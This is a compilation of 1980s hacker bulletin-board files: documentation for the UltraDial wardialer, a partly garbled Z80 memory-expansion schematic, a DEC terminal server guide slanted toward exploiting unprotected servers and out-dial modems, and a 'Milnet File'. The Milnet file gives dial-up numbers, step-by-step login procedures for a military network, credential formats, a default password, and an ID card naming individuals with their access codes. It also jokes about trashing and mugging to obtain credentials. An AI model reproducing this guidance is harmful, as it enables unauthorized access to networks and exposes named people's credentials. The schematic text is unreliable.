3) This software was not intended for malicious use. Do not use
for any type of illegal computing…under penalty of law.

If you wish to get in contact with the author of this
software or any of the Com-Worx software, you may contact the
Com-Worx RBBS Bulletin Board system in Southern California at
(818) 986-1673. If you find this product well written and user-
friendly, why not try some of the other Com-Worx software such as
Super-File, the “People-Information” manager.

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The idea of writing a WARGAMES dialer was inspired by Steve Klein who
wrote the original DIAL.BAS. I took this program and proceeded to cre-
ate DIAL1 and DIAL3 (Steve Klein took DIAL1 and enhanced it to DIAL2).
I began to get sick of constantly updating so I decided to write the
most incredible dialer around, and I think I have succeded. In the
first version of ULTRA-DIAL (ULTRA.EXE), there were many problems, in-
cluding the fact that it did NOT support the Hayes External Modem,
this minor error was fixed and a few other features were added into
ULTRA2.EXE, the next version. I though I had it all down pat with this
version, but my “good ol'” users clued me in to some problems…and
here it is folks, ULTRA3.EXE. I would like everyone to know that this
will be the last version of ULTRA-DIAL, UNLESS I find some incredible
error or some new incredible request for a feature is made. So, you’ll
have to live with this one.

REMEMBER: This program is for the IBM Personal Computer PC or XT (not
AT or any compatible). You must have a Hayes modem (an Anchor Signal-
man may work, it has not been tested) to operate this program. There
is absolutely no exceptions to this…sorry.

Now we’ll cut the lecture and start the documentation!

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** MINIMUM HARDWARE REQUIREMENTS

To operate UltraDial 3.0, you need at least the following:

An IBM Personal Computer
64k Memory
One Floppy Disk Drive
A Hayes Auto-Dial Modem

To operate UltraDial 3.0 with optimum performance, add:

An 80 Coulumn Printer
128k Memory
A RAMdrive Program

** TO BEGIN

To start UltraDial, place the disk that contains
ULTRA3.EXE in drive A: and type:

A>ULTRA3

Within a few moments, a text screen should appear telling
you the rules of Com-Worx. Press a key and you will see the
title screen begin. After the “COM-WORX Presents…” portion, you
will be asked to select COM1: or COM2:, that is communications port
number 1 or communications port #2. Enter the port to which your
modem is connected to (enter a 1 or a 2).
Then you will see the main title screen…press any key to go
further…
The program will then ask you to set the time and date. If
it is already set, simply hit at each of the prompts.
Finally the menu screen will appear and you will have the
following options:

[B]egin a dialing routine
[S]can/Dial found numbers
[P]rint a copy of numbers
[C]ontact the author
[D]elete old numbers
[Q]uit to DOS

These options are explained in detail on the following
pages of this documentation…

** BEGIN A DIALING ROUTINE

This command is the master command of the entire program,
it sets the dialing in motion. You will be using this command
whenever you wish to start dialing…

Your first prompt will be “Do you wish to delete old
numbers that have been found?”. This simply means, do you want
to erase the file that contains the previously found numbers
with carriers and start with a fresh one, or do you want to save
them. Answer “Y” to start a fresh new file, or enter “N” to save
the old one (remember, Ultra3 can only handle 18 numbers per file
because of some problems, print out the file often and start a
fresh one when possible).
The second option is simple, “Do you want the modem speaker
on?”. Answer “Y” if you want the Hayes internal speaker on, and
answer “N”, if you want it off (this is also togglable during the
program operation).
Ok, now you are going to enter the vital numbers that will
make this program run. The next prompt, after the speaker prompt,
is the “PRELIMINARY NUMBER” prompt. This is a new feature to ULTRA
DIAL and I will try to explain it the best I can.
Whatever you enter at the PRELIMINARY NUMBER prompt will be
dialed before EVERY number. This can be helpful for obtaining an
outside line (i.e. hotels and buisnesses sometimes require you dial
a “9” before dialing the outside number you wish to reach). If you
have no use for this, simply hit , if you do want to use this
function, enter the number(s) you wished to be dialed before EVERY
number in the dialing sequence.
Now you are going to enter the starting and ending numbers! Your
first prompt will be to enter the area code, if you want to dial local
simply hit , if not, enter the three digit area code.
The next prompt will be for the beginning number, this will be
the first number to be dialed. Here are some examples of the right
and wrong way to enter numbers:

RIGHT: 9861673 WRONG: 986-1673
5205547 5,205547

*** REMEMBER: DO NOT USE HYPHENS, COMMAS, ETC. JUST ENTER THE NUMBER!

The next prompt will be for the ending number, the last number
to be dialed. Use the same format as you saw above.
Now the dialing begins…Your options are now held in function
keys (the darker keys on the left side of the keyboard). There func-
tions are described here…

[F1] – SKIP # – allows you to skip on to the next phone number.
For example, if the computer is on 986-1673 and
you hit [F1] then it will skip to 986-1674 as
soon as you hear the beep.

[F2] – MAIN – takes you directly to the main menu and stops all
active dialing. (Quits to the menu)

[F3] – QUIT – ends the dialing and returns you to DOS.

[F4] – PAUSE – pauses the timer so as to allow more waiting time
and continues to hold the timer until you hit any
key (remember to re-start it with any key).

[F5] – SPKR – toggles the speaker on or off. When pressed, the
screen will clear and you will be asked if you
want the speaker on or off, then dialing will re-
sume from the number you left off on.

*** REMEMBER: THE FUNCTION KEYS TAKE A FEW MOMENTS TO RESPOND!

If the dialer finds a carrier at a certain number, it beeps,
saves the number to disk, and continues dialing. If it completes
the dialing routine by getting to the last number, it sounds an
alarm to inform you (until you press any key). You are then
returned to the main menu.

** SCAN/DIAL FOUND NUMBERS

This function allows you to see up to 18 of the found
numbers in the file NUMBERS. You can select a number with the up
and down cursor keys on the right side of the keyboard. If at
first the arrow does not move when you hit the cursor up or down,
try hitting . When you have the arrow pointing at the
number you wish to try, hit .
The computer will enter a terminal mode. Anything you type
now will go straight to the modem. The computer will dial the
number you selected and wait for a carrier. When it receives a
carrier, it will connect at 300 baud, even parity, 7 data bits,
and 1 stop bit.
To exit the terminal mode and return to the main menu, hit
the key, up in the left hand corner of the keyboard. It
will ask if you wish to dial another number and you may respond
accordingly with “Y” or “N”.

** PRINT A COPY OF NUMBERS

This function will print a copy of all of the phone numbers
onto the printer. Also, the dates and times that the numbers
were found will be printed. When the printing is complete, the
computer will return to the main menu…

*** CONTACT THE AUTHOR

This function was just “an idea” that I thought would encourage
people to report errors more often because it would be so simple to
conatct me. This function will simply enter the terminal mode and
dial The COM-WORX RBBS…Hit to hang-up and exit…

** DELETE OLD NUMBERS

This function will erase the file NUMBERS which contains all
of the phone numbers that have been found. You should use this
at least every 18 numbers found.

** QUIT TO DOS

This function drops you into DOS (use only when you are
finished using Ultra-Dial).

—————————————————————–
THIS SOFTWARE WAS WRITTEN BY PAUL LEVY…A PROGRAMMER WITH OVER
FIVE YEARS OF BASIC PROGRAMMING WITH MICROSOFT BASIC. IF YOU
HAVE ANY IDEAS FOR ANY PROGRAMS THAT YOU WOULD LIKE TO SEE,
PLEASE CONTACT PAUL LEVY AT HIS BBS, 818-986-1673. ENJOY…
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EASE CONTACT PAUL LEVY AT HIS BBS, 818-986-1673. ENJOY…
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Telecom Computer Security Bulletin: Expansion of the Z80 Chip, by King Lucifer (Alias Byteman) on September 10, 1988

_______________________________________________________________________________

Expansion of the Z80 CPU Chip
Written by King Lucifer (Alias Byteman) on 9/10/88

A Telecom Computer Security Bulletin File
Volume One, Number 1, File 12 of 12
_______________________________________________________________________________

The circut described here expands the z80 uP’s 64k byte memory space to
512k bytes by switching among sixteen 32k byte banks. The approach allows
you to programs larger than 64k bytes for applications that can tolerate
an I/O operation each time the program crosses one of the 32k byte –
boundaries.

The Z80’s lower address lines (Schematic) provide access to the 32k-byte
common bank of memory. The sixteenth line (A15 through A18) by activating
four additional bits (A15 through A18) Consequently, the system can access
2;19 or 512k, unique memory locations.

Schematic
———
_____________________________________________> (Ao – A14)
________ / \ __________
| z80 ao|_/ \|a ic 0|o________
| ic1 a1|_| |_|b 74ls1381|o–o |
| |_| |_|c 2|o–o |
| .|_| | | 3|o–o |
| .|_| _____|en 4|o–o |
| .|_| | ___|en 5|o–o |
| |_| | | _|en 6:o–o |
| |_| | | | | 7:o–o |___ ______ _______
| |_| | | – | | | | | |
| |_| | | |__________| ____|d Q|____| – |
| |_| | | |____|d Q|____| | |
| |___________|_|_____ |____|d Q|____| | A |
| |___ | | | | | 74ls | | – |
| |___| | | | | ~~~~|~~~ | -|a1
| |___| | | | | O | | |a2
| |___| | | | | | | | |a3
| |___| | | | | | | | |a4
| Z80 |___| | | | | | | -|
| |___| | | | | | | – |
| |___| | | | | | __| | |
| | | | | | | | |__| |B |
|________| | | | | | | |__| | |
O O | | | | | | |__| – |
| |______________| | | | | | |_______|
|_____________________| | | | | O |
|| | | | | |____| |
|| |_______________|_________________/_________|____________|_do-7
|| o(5v) |______________— _________|____________|
|| |_____— ___________________/—
||_________________/—
o________________________________________________________|
ln

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$ 

Telecom Computer Security Bulletin: DEC Terminal Server Basics by Mad Hacker (September 10, 1988)

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DEC Terminal Server Basics
Written by Mad Hacker {the original} on 09/10/88

A Telecom Computer Security Bulletin File
Volume One, Number 1, File 11 of 12
_______________________________________________________________________________

This is the A B C’s of using a DEC terminal server. A DEC terminal server can
be quite a handy thing if you know a few of it’s basic commands. Ok enough
said, time to log in….

LOGGING INTO THE DECSERVER:

To login to the DECserver you may be required to enter a login password. But
to tell the truth, most DECservers are not password protected. It seems that
most people don’t think of a DECserver as a possible weak link in their
security. I guess they feel that the server is not a computer and so it is not
a thing that needs to be protected. This is a very serious mistake! Many
computer systems have been compromised by the lax security of the external
devices hooked to them, in this case, the DECserver.

If you need to log in, this is how to do it.

1. Press twice; a number sign (#) appears along with an audible beep.

2. Enter the login password. For example, to log in with the password HACKER

enter twice

# HACKER type the password (which is not echoed)

3. If you make a mistake, the prompt reappears (and the “beep”) to let you
try again. You have several chances to enter the correct password.

4. If you use a dial-in modem, you have 60 seconds to respond to the #
prompt with the correct password. If you don’t, the server disconnects
your modem.

If you do not need to enter a login password, {that is how most are setup},
just press twice and you are in.

When you log in, an introductory line of text appears…

DECserver 200 Terminal Server V1.0 – LAT V5.1

If your port does not have a permanent username defined, enter your name (1 to
16 keyboard characters) after the following text appears…

Please type HELP if you need assistance

Enter username> MAD_HACKER

The Local> prompt appears after you type your username.

If your port does have a permanent username, here’s what you see…

Please type HELP if you need assistance

Local>

USING ONLINE HELP:

Online help is documentation about DECserver commands that is stored in server
memory. You can see this documentation interactively on your terminal while
you are using the DECserver. The HELP command gives you access to online help.
You can use it in one of two ways:

You can type HELP at the Local> prompt…

Local> HELP

This generates a succession of HELP “frames”, “menus”, and prompts. Frames
are made up of the information that can fit on one or more terminal screens.
Menus are lists of topics you can choose from.

Alternatively, you can specify topics and subtopics when you enter the HELP
command. For example…

Local> HELP SET PORT

This command produces online documentation that describes the SET PORT command.

SOME DEFINITIONS:

The primary function of the DECserver is to allow you to connect to “services”
offered on your network. A service can be a computer system that you can use
just as though your terminal were attached directly to the system, or it can
be a function offered by such a system. In addition, services can be set-up
to allow access to printers, out-dial modems, personal computers and terminal
switches. To connect to a service, you only need to know the service name.
_______________________________________________________________________________

A NOTE ABOUT OUT-DIALS CONNECTED TO A DECserver:

When an outdial modem is put on the DECserver and some local hacks find
it, well you get the picture…..the company that own’s it will often get
a 100-500 page bill from the phone company. After that happens, the company
that is the proud owner of a $5000.00 phone bill will often decide to
password protect the DECserver. On the other hand, the out-dial may be run
off a flat rate SPRINT or WATS line. If that is the case the out-dial will
live a long and non-password protected life… 🙂
_______________________________________________________________________________

DEFINITIONS CONTINUED:

A “service node” is a computer system or server that offers services.

A “session” is a connection to a service. You can have one or more simul-
taneous sessions with one service, or more than one service. The connection
you are using at any one time is called your “current session”. Your other
sessions are inactive, but can be resumed by using server commands or session
switches.

“Service mode” is your environment when you interact with a service. For
example, if the service is a computer system, your environment is the same as a
terminal directly wired to the system. You can all use the system’s commands
and resources.

“Local mode” is your environment when you interact with the DECserver
using commands entered at the Local> prompt.

CONNECTING TO A SERVICE:

Use the local mode SHOW SERVICES command to display a list of services you can
use.

Local> SHOW SERVICES

To connect to a service (establish a session with the service) enter the
DECserver CONNECT command with the name of the service you want. For example,
for a service called MEGA-SYSTEM, enter the following command:

Local> CONNECT MEGA-SYSTEM

This command places you in service mode in an active session with the service
MEGA-SYSTEM. In this case, MEGA-SYSTEM is a CRAY with 200 GIG on-line.

RETURNING TO LOCAL MODE FROM A SERVICE SESSION:

To return to local mode without ending your session, press or press
your local switch character. Both these characters are, in effect, DECserver
commands that instruct the server to go back to local mode.

The character must be set up to permit this (by default it is), and
the local switch character must be defined (by default it is not).

Use the HELP command for more details on setting up the character and
local switch character.

*** NOTE ***

Some modems interprets the character as a command to end
your dial-in connection. If you are using one of these modems,
do not use to return to local mode.

Your session, now inactive, is still your current session because it is the
session your were using most recently.

RESUMING YOUR SERVICE SESSION FROM LOCAL MODE:

To resume your current session (and service mode) while your are in local
mode, enter the DECserver RESUME command.

Local> RESUME

You go back to where you left off when before returning to local mode.

DISCONNECTING FROM A SERVICE:

To end your current session while in service mode, use the command that
terminates whatever process you are using. For example, you can terminate a
session on a VAX/VMS system by typing the VMS LOGOUT command. Refer to the
documentation for the service node that offers the service.

To end your current session while in local mode, enter the DECserver DISCONNECT
command.

Local> DISCONNECT

You cannot resume a service session after you end the connection with
DISCONNECT.

CONNECTING TO A SECOND SERVICE:

The DECserver allows you to have several sessions at one time, to the same or
to different services. To connect to a second (or subsequent) service, simply
enter another CONNECT command from local mode, specifying the name of the
service. For example, to connect to the service OUT-DIAL, enter the following
command:

Local> CONNECT OUT-DIAL

To resume one of your non-current sessions, use the FORWARDS command to switch
to your next session, or the BACKWARDS command to switch to your previous
session. Alternatively, you can use the RESUME command and specify the session
number. You can find this number from the SHOW SESSIONS display:

Local> RESUME SESSION 2

To disconnect a particular session, use the DISCONNECT command and specify the
session number. For example:

Local> DISCONNECT SESSION 1

LOGGING OUT OF THE DECSERVER:

To logout from the DECserver, enter the DECserver LOGOUT command (in local
mode).

Local> LOGOUT

LOGOUT disconnects all sessions. A DECserver message appears verifying the
logout.

Well that is about it for now. There are a number of other nice commands but
you should be able to find your way around now. Happy Hack’n….

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$ 

The Milnet File by Brigadier General Swipe/Dispater

][=———————————————————————–=][
][ ][
][ Finally it’s here………. ][
][ /\/\ /\/\ ][
][ / \ / / ][
][ \/\/\/il\/\/et ][
][ by: ___ __ ______ ][
][ __) / _` / ____/ ][
][ __)rigadier \__eneral / /wipe ][
][ ______________________/ / ][
][ /_______________________/ ][
][ (aka: Dispater) ][
][ ][
][ Thanx to: no one! G.D.I. (God Damn Independant) ][
][ ][
][=———————————————————————–=][
Into:
—–
First of all Milnet is a system used by the Air Force and the Pentagon for
communication use. You know you are on milnet when you see that infamous
TAC login xxx. Milnet is run out of the University of Southern California,
(this might give some of you some ideas who live around there).
Logon Info
————
The Milnet number is 1-800-368-2217.
The ISI MASTER DIAL UP IS 213-306-1366.
This is a more tricky logon procedure but if you got balls, you’re using a
trunk box, or you are just S-T-U-P-I-D here goes:
ISIE MASTER LOGON PROCEEDURE
—————————-
1> call 213-306-1366
2> when the phone stops ringing you are connected
3> enter location number (9 digits) + 1 or 0
4> hang up and it will call you
5> pick up the phone and hit the ‘*’ on your phone
6> hit a carriage return on the computer
7> at the ‘what class?’ prompt hit RETURN!!!
8> then a ‘go’ prompt will appear and log on as you would the 800 number.
MILNET LOGIN PROCEEDURE
———————–
If you have trouble connecting try 300 bauds instead of 1200. It’s a bite in
the ass but, sometime the connection will fuck up if you don’t.
When you first connect you will see:
‘WELCOME TO DDN. FOR OFFICIAL USE ONLY.TAC LOGIN
CALL NIC 1-800-235-3155 FOR HELP
WRPAT TAC 113 #:36
(you type)
@o 1/103
YOU ALWAYS TYPE @o then other connections are:
ISIA 3/103
ISIB 10:3/52
ISID 10:0/27
ISIE 1/103 (THE EXAMPLE)
ISIF 2/103
VAX A 10:2/27
——————————————————————————-
Next you will see a ‘USER-ID’ promt. The first 4 characters vary but it is
is always followed by a ‘-‘ and what ever connection you choose.
User-Id: (example) CER5-ISIE or MRW1-ISIE
The first three letters are the initials of the user followed by a random
number (1-9).
——————————————————————————-
Access Code: (example) 2285UNG6A or 22L8KK5CH
An access code will never contain a ( 1, 0, G, Z).
——————————————————————————-
@ USERNAME + PASSWORD IE USERNAME SAC.305AREFW-LGTO
THE USERNAME EXPLANATION:
The first 3 letters will be SAC. This stands for Strategic Air
Command.
Followint that is a ‘.’ Then the squadron number and the prime mission.
In this case ‘305AREFW’, (305TH AIR REFULING WING). Then a ‘-‘ and the
Individual Squadron name ‘LGTO’ (LOGISTICS GROUND TRANSPORATION OPERATIONS),
a fancey name for the motor pool. I’ll try and get a list of these there are
tons of names.
The password will not be echoed back and should be entered after a
the username.
The new user password as a default is: NEW-UZER-ACNT
——————————————————————————-
+————-+
THINGS TO DO: PROGRAMS AVALIABLE TO SAC USERS:
+————-+ and what they are for
copied direcly from the help manual
ADUTY aids in management of additional duty assignments.
(International help – use the ? and keys, HELP.)
ARCHIVE requests files to be stored on tape for later retreval.
(Type HELP ARCHIVE at TOPS-20.)
CHAT Provides near real time communication between terminal users on the
same host computer.
(Use ? with CHAT.)
DAILY Executive appointment scheduleing program
DCOPY Handles output on DIABLO and XEROX printers
EMACS Powerful full-screen text editor
FOLLOW Suspense follow up program
FTP provides file transfer capabilites between host computers
FKEYS allows user to define function key (real spiffaruni)
HELP the command used by stupid generals or hackers that have never used
milnet before
HERMES E-Mail
NCPCALC spreadsheet program
PHOTO saves transcripts of sessions
REMIND sends user-created reminders
RIPSORT a sophisticated data sorting program
(Described in SAC’s User manual (sorry))
SCRIBE a powerful text formatter for preparing documents.
(ISI’s manual, SCRIBE manual – soon on MILNET V.2)
SPELL text file spelling checker.
(HELP at TOPS-20 and directory international help -?)
SUSCON allows the creating, sending, and clearing of suspenses.
(international help – ? and , HELP command)
TACOPY used for printing hard copies of files
(international help – ?)
TALK pretty much the same as chat.
TIPCOPY predecessor of TACOPY
TEACH-EMACS (SELF EXPLANITORY: GIVES LIST OF COMMNADS)
TN Tel-Net provides multi-host access on MILNET.
(HELP at TOPS-20 and directory,
international help – use ? and )
XED line oriented text editor.
(HELP at TOPS-20 and directory)
LOGGING OFF
————
TYPE: @L (PRETTY TOUGH HUH?)
+——————+———————————————————–
The Milnet ID card If you should be trashing somewhere and find a card that
+——————+ looks like this, then save it. (it will be blue & white)
_______________________________________
/ \ It’s also wallet sized so you may
HOST USC-ISIE 26.1.0.103 wish to mug someone who you know
HOST ADMINISTRATOR GORDON,VICKI L. is in the air force..haha!
————————————— (just kidding!)
DDN CARD HOLDER:
REID, CALVIN E, 1st LT.
CARD 118445
—————————————
USER ID:CER5-ISIE
ACCESS CODE:2285UNG6A
USERNAME: SAC.305AREFW-LGTO
PASSWORD: NEW-UZER-ACNT
\_______________________________________/
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